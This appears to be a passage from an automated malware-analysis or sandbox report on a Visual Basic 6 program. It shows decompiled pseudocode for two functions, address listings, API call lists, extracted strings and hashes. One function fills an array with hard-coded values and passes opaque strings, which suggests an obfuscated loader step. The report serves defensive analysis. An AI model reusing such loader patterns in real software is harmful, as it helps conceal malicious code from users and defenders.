      				_v96 = 0;
      				_v112 = 0;
      				_v128 = 0;
      				_v144 = 0;
      				_v160 = 0;
      				_v176 = 0;
      				_v192 = 0;
      				_v208 = 0;
      				_v224 = 0;
      				_v240 = 0;
      				_v256 = 0;
      				_v272 = 0;
      				_v288 = 0;
      				_v304 = 0;
      				_v320 = 0;
      				_v324 = 0;
      				_v328 = 0;
      				L00401432();
      				L004014B6();
      				_push(_t143);
      				_push(0x4108a8);
      				L00401486();
      				asm("sbb esi, esi");
      				L0040149E();
      				if( ~( ~( ~_t143)) != 0) {
      					__eflags =  *0x4172d4 - __ebx; // 0x21de8bc
      					if(__eflags == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					__esi =  *0x4172d4; // 0x21de8bc
      					__eax =  *__esi;
      					__eax =  *((intOrPtr*)( *__esi + 0x14))(__esi,  &_v76);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax >= __ebx) {
      						__edi = 0x41081c;
      					} else {
      						__edi = 0x41081c;
      						_push(0x14);
      						_push(0x41081c);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					__eax = _v76;
      					__esi = __eax;
      					__eax =  *((intOrPtr*)( *__eax + 0xf0))(__eax,  &_v68);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0xf0);
      						_push(0x41084c);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					_v68 = __ebx;
      					L004014B6();
      					L004014BC();
      					__eflags =  *0x4172d4 - __ebx; // 0x21de8bc
      					if(__eflags == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					__esi =  *0x4172d4; // 0x21de8bc
      					__eax =  *__esi;
      					__eax =  *((intOrPtr*)( *__esi + 0x14))(__esi,  &_v76);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0x14);
      						_push(__edi);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					__eax = _v76;
      					__esi = __eax;
      					__eax =  *((intOrPtr*)( *__eax + 0x118))(__eax,  &_v328);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0x118);
      						_push(0x41084c);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					L0040142C();
      					L004014BC();
      					__eflags =  *0x4172d4 - __ebx; // 0x21de8bc
      					if(__eflags == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					__esi =  *0x4172d4; // 0x21de8bc
      					__eax =  *__esi;
      					__eax =  *((intOrPtr*)( *__esi + 0x4c))(__esi,  &_v76);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0x4c);
      						_push(__edi);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					__esp = __esp - 0x10;
      					__esi =  &_v224;
      					__edi = __esp;
      					_v216 = __ebx;
      					_v224 = 2;
      					__eax = _v76;
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_v344 = __eax;
      					asm("movsd");
      					__eax =  *((intOrPtr*)( *__eax + 0x2c))(__eax);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0x2c);
      						_push(0x41083c);
      						_push(_v344);
      						_push(__eax);
      						L004014C2();
      					}
      					L004014BC();
      					__edi = _a4;
      				}
      				__eflags =  *0x4172d4; // 0x21de8bc
      				if(__eflags == 0) {
      					_push(0x4172d4);
      					_push(0x41082c);
      					L004014C8();
      				}
      				_t225 =  *0x4172d4; // 0x21de8bc
      				_t145 =  *((intOrPtr*)( *_t225 + 0x14))(_t225,  &_v76);
      				__eflags = _t145;
      				asm("fclex");
      				if(_t145 < 0) {
      					_push(0x14);
      					_push(0x41081c);
      					_push(_t225);
      					_push(_t145);
      					L004014C2();
      				}
      				_t146 = _v76;
      				_t226 = _t146;
      				_t147 =  *((intOrPtr*)( *_t146 + 0x58))(_t146,  &_v68);
      				__eflags = _t147;
      				asm("fclex");
      				if(_t147 < 0) {
      					_push(0x58);
      					_push(0x41084c);
      					_push(_t226);
      					_push(_t147);
      					L004014C2();
      				}
      				_t150 =  &_v80;
      				L0040147A();
      				_t227 = _t150;
      				_t152 =  *((intOrPtr*)( *_t227 + 0xd8))(_t227,  &_v324, _t150,  *((intOrPtr*)( *_t218 + 0x328))(_t218));
      				__eflags = _t152;
      				asm("fclex");
      				if(_t152 < 0) {
      					_push(0xd8);
      					_push(0x4108f4);
      					_push(_t227);
      					_push(_t152);
      					L004014C2();
      				}
      				L00401420();
      				L004014B6();
      				L00401426();
      				L0040141A();
      				L00401474();
      				_v88 = 0x80020004;
      				_v96 = 0xa;
      				L00401414();
      				_v332 = _t238;
      				_t160 =  &_v76;
      				L0040147A();
      				_t228 = _t160;
      				_t162 =  *((intOrPtr*)( *_t228 + 0x70))(_t228,  &_v328, _t160,  *((intOrPtr*)( *_t218 + 0x328))(_t218,  &_v96, 2,  &_v76,  &_v80, 2,  &_v68,  &_v72, _v68, L"Options", L"Show Tips at Startup", _t152, _v324));
      				__eflags = _t162;
      				asm("fclex");
      				if(_t162 < 0) {
      					_push(0x70);
      					_push(0x4108f4);
      					_push(_t228);
      					_push(_t162);
      					L004014C2();
      				}
      				_t241 = _v332 * _v328 +  *0x401208;
      				asm("fnstsw ax");
      				__eflags = _t162 & 0x0000000d;
      				if((_t162 & 0x0000000d) != 0) {
      					return __imp____vbaFPException();
      				}
      				L0040140E();
      				_v232 = _t241;
      				_v240 = 4;
      				L00401444();
      				L004014BC();
      				L004014CE();
      				_t166 =  &_v76;
      				L0040147A();
      				_t219 = _t166;
      				_v248 = 0x410950;
      				_v264 = 0x410950;
      				_t229 = 8;
      				_v216 = L"That the ";
      				_t170 =  &_v96;
      				_v224 = _t229;
      				_v232 = L" file was not found? ";
      				_v240 = _t229;
      				_v256 = _t229;
      				_v272 = _t229;
      				_v280 = L"Create a text file named ";
      				_v288 = _t229;
      				_v296 = L" using NotePad with 1 tip per line. ";
      				_v304 = _t229;
      				_v312 = L"Then place it in the same directory as the application. ";
      				_v320 = _t229;
      				L00401402();
      				_t172 =  &_v112;
      				L00401402();
      				_t174 =  &_v128;
      				L00401402();
      				_t176 =  &_v144;
      				L00401402();
      				_t178 =  &_v160;
      				L00401402();
      				_t180 =  &_v176;
      				L00401402();
      				_t182 =  &_v192;
      				L00401402();
      				_t184 =  &_v208;
      				L00401402();
      				_t185 =  &_v68;
      				L00401408();
      				_t186 =  *((intOrPtr*)( *_t219 + 0x54))(_t219, _t185, _t185, _t184, _t184,  &_v320, _t182, _t182,  &_v304, _t180, _t180,  &_v56, _t178, _t178,  &_v288, _t176, _t176,  &_v272, _t174, _t174,  &_v256, _t172, _t172,  &_v240, _t170, _t170,  &_v56,  &_v224, _t166,  *((intOrPtr*)( *_t218 + 0x328))(_t218));
      				__eflags = _t186;
      				asm("fclex");
      				if(_t186 < 0) {
      					_push(0x54);
      					_push(0x4108f4);
      					_push(_t219);
      					_push(_t186);
      					L004014C2();
      				}
      				L0040149E();
      				L004014BC();
      				_push( &_v208);
      				_push( &_v192);
      				_push( &_v176);
      				_push( &_v160);
      				_push( &_v144);
      				_push( &_v128);
      				_push( &_v112);
      				_t194 =  &_v96;
      				_push(_t194);
      				_push(_t229);
      				L00401498();
      				asm("wait");
      				_push(0x41479b);
      				L004014CE();
      				L004014CE();
      				L0040149E();
      				return _t194;
      			}








































































      0x004141ad
      0x004141b0
      0x004141bf
      0x004141cf
      0x004141d2
      0x004141db
      0x004141de
      0x004141e4
      0x004141e7
      0x004141ec
      0x004141ef
      0x004141f2
      0x004141f5
      0x004141f8
      0x004141fb
      0x004141fe
      0x00414201
      0x00414204
      0x00414207
      0x0041420a
      0x00414210
      0x00414216
      0x0041421c
      0x00414222
      0x00414228
      0x0041422e
      0x00414234
      0x0041423a
      0x00414240
      0x00414246
      0x0041424c
      0x00414252
      0x00414258
      0x0041425e
      0x00414268
      0x0041426d
      0x0041426e
      0x00414273
      0x0041427f
      0x00414285
      0x0041428d
      0x00414293
      0x00414299
      0x0041429b
      0x004142a0
      0x004142a5
      0x004142a5
      0x004142aa
      0x004142b5
      0x004142b7
      0x004142ba
      0x004142bc
      0x004142be
      0x004142d1
      0x004142c0
      0x004142c0
      0x004142c5
      0x004142c7
      0x004142c8
      0x004142c9
      0x004142ca
      0x004142ca
      0x004142d6
      0x004142e0
      0x004142e2
      0x004142e8
      0x004142ea
      0x004142ec
      0x004142ee
      0x004142f3
      0x004142f8
      0x004142f9
      0x004142fa
      0x004142fa
      0x00414305
      0x00414308
      0x00414310
      0x00414315
      0x0041431b
      0x0041431d
      0x00414322
      0x00414327
      0x00414327
      0x0041432c
      0x00414337
      0x00414339
      0x0041433c
      0x0041433e
      0x00414340
      0x00414342
      0x00414344
      0x00414345
      0x00414346
      0x00414347
      0x00414347
      0x0041434c
      0x00414359
      0x0041435b
      0x00414361
      0x00414363
      0x00414365
      0x00414367
      0x0041436c
      0x00414371
      0x00414372
      0x00414373
      0x00414373
      0x0041437e
      0x00414386
      0x0041438b
      0x00414391
      0x00414393
      0x00414398
      0x0041439d
      0x0041439d
      0x004143a2
      0x004143ad
      0x004143af
      0x004143b2
      0x004143b4
      0x004143b6
      0x004143b8
      0x004143ba
      0x004143bb
      0x004143bc
      0x004143bd
      0x004143bd
      0x004143c2
      0x004143c5
      0x004143cb
      0x004143cd
      0x004143d3
      0x004143dd
      0x004143e0
      0x004143e4
      0x004143e5
      0x004143e6
      0x004143ec
      0x004143ed
      0x004143f0
      0x004143f2
      0x004143f4
      0x004143f6
      0x004143f8
      0x004143fd
      0x00414403
      0x00414404
      0x00414404
      0x0041440c
      0x00414411
      0x00414411
      0x00414414
      0x0041441a
      0x0041441c
      0x00414421
      0x00414426
      0x00414426
      0x0041442b
      0x00414438
      0x0041443b
      0x0041443d
      0x0041443f
      0x00414441
      0x00414443
      0x00414448
      0x00414449
      0x0041444a
      0x0041444a
      0x0041444f
      0x00414459
      0x0041445b
      0x0041445e
      0x00414460
      0x00414462
      0x00414464
      0x00414466
      0x0041446b
      0x0041446c
      0x0041446d
      0x0041446d
      0x0041447c
      0x00414480
      0x00414485
      0x00414491
      0x00414497
      0x00414499
      0x0041449b
      0x0041449d
      0x004144a2
      0x004144a7
      0x004144a8
      0x004144a9
      0x004144a9
      0x004144b4
      0x004144be
      0x004144d1
      0x004144e0
      0x004144ef
      0x004144fa
      0x00414501
      0x00414509
      0x00414511
      0x0041451e
      0x00414522
      0x00414527
      0x00414533
      0x00414536
      0x00414538
      0x0041453a
      0x0041453c
      0x0041453e
      0x00414543
      0x00414544
      0x00414545
      0x00414545
      0x00414556
      0x0041455c
      0x0041455e
      0x00414560
      0x0040130c
      0x0040130c
      0x00414566
      0x0041456b
      0x0041457a
      0x00414584
      0x0041458c
      0x00414594
      0x004145a3
      0x004145a7
      0x004145ac
      0x004145b5
      0x004145bb
      0x004145c1
      0x004145c8
      0x004145d7
      0x004145da
      0x004145e0
      0x004145ea
      0x004145f0
      0x004145f6
      0x004145fc
      0x00414606
      0x0041460c
      0x00414616
      0x0041461c
      0x00414626
      0x0041462f
      0x0041463c
      0x00414640
      0x0041464d
      0x00414651
      0x0041465e
      0x00414665
      0x00414672
      0x00414679
      0x00414683
      0x0041468a
      0x00414697
      0x0041469e
      0x004146ab
      0x004146b2
      0x004146b8
      0x004146bc
      0x004146c3
      0x004146c6
      0x004146c8
      0x004146ca
      0x004146cc
      0x004146ce
      0x004146d3
      0x004146d4
      0x004146d5
      0x004146d5
      0x004146dd
      0x004146e5
      0x004146f0
      0x004146f7
      0x004146fe
      0x00414705
      0x0041470c
      0x00414710
      0x00414714
      0x00414715
      0x00414718
      0x00414719
      0x0041471a
      0x00414722
      0x00414723
      0x00414785
      0x0041478d
      0x00414795
      0x0041479a

      APIs
      • #713.MSVBVM60(0041089C), ref: 0041425E
      • __vbaStrMove.MSVBVM60(0041089C), ref: 00414268
      • __vbaStrCmp.MSVBVM60(004108A8,00000000,0041089C), ref: 00414273
      • __vbaFreeStr.MSVBVM60(004108A8,00000000,0041089C), ref: 00414285
      • __vbaNew2.MSVBVM60(0041082C,004172D4,004108A8,00000000,0041089C), ref: 004142A5
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 004142CA
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000F0), ref: 004142FA
      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,000000F0), ref: 00414308
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,000000F0), ref: 00414310
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00414327
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00414347
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000118), ref: 00414373
      • __vbaI2I4.MSVBVM60(00000000,?,0041084C,00000118), ref: 0041437E
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000118), ref: 00414386
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 0041439D
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,0000004C), ref: 004143BD
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041083C,0000002C), ref: 00414404
      • __vbaFreeObj.MSVBVM60(00000000,?,0041083C,0000002C), ref: 0041440C
      • __vbaNew2.MSVBVM60(0041082C,004172D4,004108A8,00000000,0041089C), ref: 00414426
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 0041444A
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000058), ref: 0041446D
      • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414480
      • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,004108F4,000000D8), ref: 004144A9
      • __vbaStrBool.MSVBVM60(?), ref: 004144B4
      • __vbaStrMove.MSVBVM60(?), ref: 004144BE
      • #690.MSVBVM60(?,Options,Show Tips at Startup,00000000,?), ref: 004144D1
      • __vbaFreeStrList.MSVBVM60(00000002,?,?,?,Options,Show Tips at Startup,00000000,?), ref: 004144E0
      • __vbaFreeObjList.MSVBVM60(00000002,?,?,00000002,?,?,?,Options,Show Tips at Startup,00000000,?), ref: 004144EF
      • #593.MSVBVM60(?,Show Tips at Startup,00000000,?), ref: 00414509
      • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414522
      • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,004108F4,00000070), ref: 00414545
      • __vbaFPInt.MSVBVM60(00000000,00000000,004108F4,00000070), ref: 00414566
      • __vbaVarMove.MSVBVM60(00000000,00000000,004108F4,00000070), ref: 00414584
      • __vbaFreeObj.MSVBVM60(00000000,00000000,004108F4,00000070), ref: 0041458C
      • __vbaFreeVar.MSVBVM60(00000000,00000000,004108F4,00000070), ref: 00414594
      • __vbaObjSet.MSVBVM60(?,00000000), ref: 004145A7
      • __vbaVarCat.MSVBVM60(0000000A,?,?,?,00000000), ref: 0041462F
      • __vbaVarCat.MSVBVM60(?,00000004,00000000,0000000A,?,?,?,00000000), ref: 00414640
      • __vbaVarCat.MSVBVM60(?,?,00000000,?,00000004,00000000,0000000A,?,?,?,00000000), ref: 00414651
      • __vbaVarCat.MSVBVM60(?,?,00000000,?,?,00000000,?,00000004,00000000,0000000A,?,?,?,00000000), ref: 00414665
      • __vbaVarCat.MSVBVM60(?,?,00000000,?,?,00000000,?,?,00000000,?,00000004,00000000,0000000A,?,?,?), ref: 00414679
      • __vbaVarCat.MSVBVM60(?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000,?,00000004,00000000,0000000A), ref: 0041468A
      • __vbaVarCat.MSVBVM60(?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000,?), ref: 0041469E
      • __vbaVarCat.MSVBVM60(?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000,?), ref: 004146B2
      • __vbaStrVarVal.MSVBVM60(?,00000000,?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000,?,?), ref: 004146BC
      • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,004108F4,00000054), ref: 004146D5
      • __vbaFreeStr.MSVBVM60(00000000,00000000,004108F4,00000054), ref: 004146DD
      • __vbaFreeObj.MSVBVM60(00000000,00000000,004108F4,00000054), ref: 004146E5
      • __vbaFreeVarList.MSVBVM60(00000008,0000000A,?,?,?,?,?,?,?), ref: 0041471A
      • __vbaFreeVar.MSVBVM60(0041479B), ref: 00414785
      • __vbaFreeVar.MSVBVM60(0041479B), ref: 0041478D
      • __vbaFreeStr.MSVBVM60(0041479B), ref: 00414795
      Strings
      • Then place it in the same directory as the application. , xrefs: 0041461C
      • Create a text file named , xrefs: 004145FC
      • Show Tips at Startup, xrefs: 004144C4
      • That the , xrefs: 004145C8
      • Options, xrefs: 004144C9
      • using NotePad with 1 tip per line. , xrefs: 0041460C
      • file was not found? , xrefs: 004145E0
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$Free$CheckHresult$MoveNew2$List$#593#690#713Bool
      • String ID: file was not found? $ using NotePad with 1 tip per line. $Create a text file named $Options$Show Tips at Startup$That the $Then place it in the same directory as the application.
      • API String ID: 3063495933-1258388981
      • Opcode ID: 615d3a4d510709f17e8ecca068df8f80debedf026c8b36546c246cfcd21a6042
      • Instruction ID: 67e75753faec652aa2f19710c2494e6d7fa4d2ac621e03170c5a5ba4a3eb186a
      • Opcode Fuzzy Hash: 615d3a4d510709f17e8ecca068df8f80debedf026c8b36546c246cfcd21a6042
      • Instruction Fuzzy Hash: C7F1F0B1D00218ABDB10EF95CC85EDEB7BCAF04704F5085ABF509B71A1DB785A858FA4
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 41%
      			E004161B5(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
      				char _v8;
      				intOrPtr _v12;
      				intOrPtr _v16;
      				char _v28;
      				char _v32;
      				char _v44;
      				void* _v48;
      				intOrPtr _v56;
      				char _v64;
      				intOrPtr _v72;
      				char _v80;
      				char* _v104;
      				char _v112;
      				intOrPtr _v136;
      				char _v144;
      				char _v164;
      				intOrPtr* _t75;
      				void* _t78;
      				intOrPtr* _t79;
      				void* _t80;
      				signed int _t81;
      				char* _t82;
      				void* _t84;
      				intOrPtr* _t85;
      				void* _t86;
      				short* _t87;
      				intOrPtr _t90;
      				intOrPtr _t107;
      				intOrPtr* _t112;
      				intOrPtr* _t113;
      				intOrPtr* _t118;
      				intOrPtr* _t119;
      				intOrPtr _t120;
      				void* _t124;
      				void* _t126;
      				intOrPtr _t127;
      				intOrPtr _t134;
      				intOrPtr _t138;
      
      				_t127 = _t126 - 0xc;
      				 *[fs:0x0] = _t127;
      				_v16 = _t127 - 0xa4;
      				_v12 = 0x4012c8;
      				_v8 = 0;
      				_t75 = _a4;
      				 *((intOrPtr*)( *_t75 + 4))(_t75, __edi, __esi, __ebx,  *[fs:0x0], 0x401306, _t124);
      				_t134 =  *0x4172d4; // 0x21de8bc
      				_v28 = 0;
      				_v32 = 0;
      				_v44 = 0;
      				_v48 = 0;
      				_v64 = 0;
      				_v80 = 0;
      				_v112 = 0;
      				_v144 = 0;
      				_v164 = 0;
      				if(_t134 == 0) {
      					_push(0x4172d4);
      					_push(0x41082c);
      					L004014C8();
      				}
      				_t112 =  *0x4172d4; // 0x21de8bc
      				_t78 =  *((intOrPtr*)( *_t112 + 0x14))(_t112,  &_v48);
      				asm("fclex");
      				if(_t78 < 0) {
      					_push(0x14);
      					_push(0x41081c);
      					_push(_t112);
      					_push(_t78);
      					L004014C2();
      				}
      				_t79 = _v48;
      				_t113 = _t79;
      				_t80 =  *((intOrPtr*)( *_t79 + 0x108))(_t79,  &_v164);
      				asm("fclex");
      				if(_t80 < 0) {
      					_push(0x108);
      					_push(0x41084c);
      					_push(_t113);
      					_push(_t80);
      					L004014C2();
      				}
      				L004014BC();
      				_t81 =  &_v64;
      				_t90 = 3;
      				_v56 = 0x19c67e;
      				_push(_t81);
      				_v64 = _t90;
      				L0040139C();
      				L004014B6();
      				_push(_t81);
      				_push(L"Long");
      				L00401486();
      				asm("sbb esi, esi");
      				L0040149E();
      				L004014CE();
      				if( ~( ~( ~_t81)) != 0) {
      					_t138 =  *0x4172d4; // 0x21de8bc
      					if(_t138 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t118 =  *0x4172d4; // 0x21de8bc
      					_t84 =  *((intOrPtr*)( *_t118 + 0x14))(_t118,  &_v48);
      					asm("fclex");
      					if(_t84 < 0) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(_t118);
      						_push(_t84);
      						L004014C2();
      					}
      					_t85 = _v48;
      					_t119 = _t85;
      					_t86 =  *((intOrPtr*)( *_t85 + 0xc8))(_t85,  &_v164);
      					asm("fclex");
      					if(_t86 < 0) {
      						_push(0xc8);
      						_push(0x41084c);
      						_push(_t119);
      						_push(_t86);
      						L004014C2();
      					}
      					L004014BC();
      					_push(0);
      					_push(0x1a);
      					_push(1);
      					_t87 =  &_v28;
      					_push(2);
      					_push(_t87);
      					_push(2);
      					_push(0x80);
      					L004013D8();
      					_push(0);
      					_push(_v28);
      					L004013D2();
      					_push(1);
      					 *_t87 = 0xdd0;
      					_push(_v28);
      					L004013D2();
      					_push(2);
      					 *_t87 = 0xf7d;
      					_push(_v28);
      					L004013D2();
      					_push(_t90);
      					 *_t87 = 0x28fc;
      					_push(_v28);
      					L004013D2();
      					_push(4);
      					 *_t87 = 0x46b3;
      					_push(_v28);
      					L004013D2();
      					_push(5);
      					 *_t87 = 0x734;
      					_push(_v28);
      					L004013D2();
      					_push(6);
      					 *_t87 = 0x1982;
      					_push(_v28);
      					L004013D2();
      					_push(7);
      					 *_t87 = 0x45ab;
      					_push(_v28);
      					L004013D2();
      					 *_t87 = 0x481a;
      					_t107 = 8;
      					_push(_t107);
      					_push(_v28);
      					L004013D2();
      					 *_t87 = 0x449;
      					_t120 = 9;
      					_push(_t120);
      					_push(_v28);
      					L004013D2();
      					_push(0xa);
      					 *_t87 = 0x3bb4;
      					_push(_v28);
      					L004013D2();
      					_push(0xb);
      					 *_t87 = 0x2543;
      					_push(_v28);
      					L004013D2();
      					_push(0xc);
      					 *_t87 = 0x6945;
      					_push(_v28);
      					L004013D2();
      					_push(0xd);
      					 *_t87 = 0x911;
      					_push(_v28);
      					L004013D2();
      					_push(0xe);
      					 *_t87 = 0x715e;
      					_push(_v28);
      					L004013D2();
      					_push(0xf);
      					 *_t87 = 0x351d;
      					_push(_v28);
      					L004013D2();
      					 *_t87 = 0x193e;
      					_push(0x10);
      					_push(_v28);
      					L004013D2();
      					_push(0x11);
      					 *_t87 = 0x184d;
      					_push(_v28);
      					L004013D2();
      					_push(0x12);
      					 *_t87 = 0x445f;
      					_push(_v28);
      					L004013D2();
      					_push(0x13);
      					 *_t87 = 0x6210;
      					_push(_v28);
      					L004013D2();
      					_push(0x14);
      					 *_t87 = 0x489c;
      					_push(_v28);
      					L004013D2();
      					_push(0x15);
      					 *_t87 = 0x43f8;
      					_push(_v28);
      					L004013D2();
      					_push(0x16);
      					 *_t87 = 0x707e;
      					_push(_v28);
      					L004013D2();
      					_push(0x17);
      					 *_t87 = 0x3790;
      					_push(_v28);
      					L004013D2();
      					_push(0x18);
      					 *_t87 = 0x4d01;
      					_push(_v28);
      					L004013D2();
      					_push(0x19);
      					 *_t87 = 0x65da;
      					_push(_v28);
      					L004013D2();
      					_push(0x1a);
      					 *_t87 = 0x1024;
      					_push(_v28);
      					L004013D2();
      					 *_t87 = 0x678;
      					_v80 = _t120;
      					_v112 = _t107;
      					_v72 = _a4;
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_v104 = L"Triumferings";
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_v136 = 0x211c85;
      					_v144 = _t90;
      					_push(_t90);
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_push(L"JLr198");
      					_push(_v32);
      					asm("movsd");
      					L004013A2();
      				}
      				_push(0x41657c);
      				_t82 =  &_v28;
      				_push(_t82);
      				_push(0);
      				L004013C0();
      				L004014BC();
      				return _t82;
      			}









































      0x004161b8
      0x004161c7
      0x004161d7
      0x004161da
      0x004161e3
      0x004161e6
      0x004161ec
      0x004161ef
      0x004161f5
      0x004161f8
      0x004161fb
      0x004161fe
      0x00416201
      0x00416204
      0x00416207
      0x0041620a
      0x00416210
      0x00416216
      0x00416218
      0x0041621d
      0x00416222
      0x00416222
      0x00416227
      0x00416234
      0x00416239
      0x0041623b
      0x0041623d
      0x0041623f
      0x00416244
      0x00416245
      0x00416246
      0x00416246
      0x0041624b
      0x00416258
      0x0041625a
      0x00416262
      0x00416264
      0x00416266
      0x0041626b
      0x00416270
      0x00416271
      0x00416272
      0x00416272
      0x0041627a
      0x00416281
      0x00416284
      0x00416285
      0x0041628c
      0x0041628d
      0x00416290
      0x0041629a
      0x0041629f
      0x004162a0
      0x004162a5
      0x004162b1
      0x004162b7
      0x004162bf
      0x004162c7
      0x004162cd
      0x004162d3
      0x004162d5
      0x004162da
      0x004162df
      0x004162df
      0x004162e4
      0x004162f1
      0x004162f6
      0x004162f8
      0x004162fa
      0x004162fc
      0x00416301
      0x00416302
      0x00416303
      0x00416303
      0x00416308
      0x00416315
      0x00416317
      0x0041631f
      0x00416321
      0x00416323
      0x00416328
      0x0041632d
      0x0041632e
      0x0041632f
      0x0041632f
      0x00416337
      0x0041633c
      0x0041633d
      0x0041633f
      0x00416341
      0x00416344
      0x00416346
      0x00416347
      0x00416349
      0x0041634e
      0x00416356
      0x00416357
      0x0041635a
      0x0041635f
      0x00416361
      0x00416366
      0x00416369
      0x0041636e
      0x00416370
      0x00416375
      0x00416378
      0x0041637d
      0x0041637e
      0x00416383
      0x00416386
      0x0041638b
      0x0041638d
      0x00416392
      0x00416395
      0x0041639a
      0x0041639c
      0x004163a1
      0x004163a4
      0x004163a9
      0x004163ab
      0x004163b0
      0x004163b3
      0x004163b8
      0x004163ba
      0x004163bf
      0x004163c2
      0x004163c9
      0x004163ce
      0x004163cf
      0x004163d0
      0x004163d3
      0x004163da
      0x004163df
      0x004163e0
      0x004163e1
      0x004163e4
      0x004163e9
      0x004163eb
      0x004163f0
      0x004163f3
      0x004163f8
      0x004163fa
      0x004163ff
      0x00416402
      0x00416407
      0x00416409
      0x0041640e
      0x00416411
      0x00416416
      0x00416418
      0x0041641d
      0x00416420
      0x00416425
      0x00416427
      0x0041642c
      0x0041642f
      0x00416434
      0x00416436
      0x0041643b
      0x0041643e
      0x00416443
      0x00416448
      0x0041644a
      0x0041644d
      0x00416452
      0x00416454
      0x00416459
      0x0041645c
      0x00416461
      0x00416463
      0x00416468
      0x0041646b
      0x00416470
      0x00416472
      0x00416477
      0x0041647a
      0x0041647f
      0x00416481
      0x00416486
      0x00416489
      0x0041648e
      0x00416490
      0x00416495
      0x00416498
      0x0041649d
      0x0041649f
      0x004164a4
      0x004164a7
      0x004164ac
      0x004164ae
      0x004164b3
      0x004164b6
      0x004164bb
      0x004164bd
      0x004164c2
      0x004164c5
      0x004164ca
      0x004164cc
      0x004164d1
      0x004164d4
      0x004164d9
      0x004164db
      0x004164e0
      0x004164e3
      0x004164e8
      0x004164f3
      0x004164f6
      0x004164fe
      0x00416501
      0x00416502
      0x00416503
      0x00416504
      0x0041650d
      0x00416514
      0x00416515
      0x00416516
      0x00416517
      0x00416523
      0x0041652d
      0x00416533
      0x00416534
      0x00416535
      0x00416536
      0x00416537
      0x0041653c
      0x0041653f
      0x00416540
      0x00416545
      0x00416548
      0x00416568
      0x0041656b
      0x0041656c
      0x0041656e
      0x00416576
      0x0041657b

      APIs
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00416222
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00416246
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000108), ref: 00416272
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000108), ref: 0041627A
      • #591.MSVBVM60(?), ref: 00416290
      • __vbaStrMove.MSVBVM60(?), ref: 0041629A
      • __vbaStrCmp.MSVBVM60(Long,00000000,?), ref: 004162A5
      • __vbaFreeStr.MSVBVM60(Long,00000000,?), ref: 004162B7
      • __vbaFreeVar.MSVBVM60(Long,00000000,?), ref: 004162BF
      • __vbaNew2.MSVBVM60(0041082C,004172D4,Long,00000000,?), ref: 004162DF
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00416303
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000C8), ref: 0041632F
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,000000C8), ref: 00416337
      • __vbaRedim.MSVBVM60(00000080,00000002,?,00000002,00000001,0000001A,00000000), ref: 0041634E
      • __vbaDerefAry1.MSVBVM60(?,00000000), ref: 0041635A
      • __vbaDerefAry1.MSVBVM60(?,00000001,?,00000000), ref: 00416369
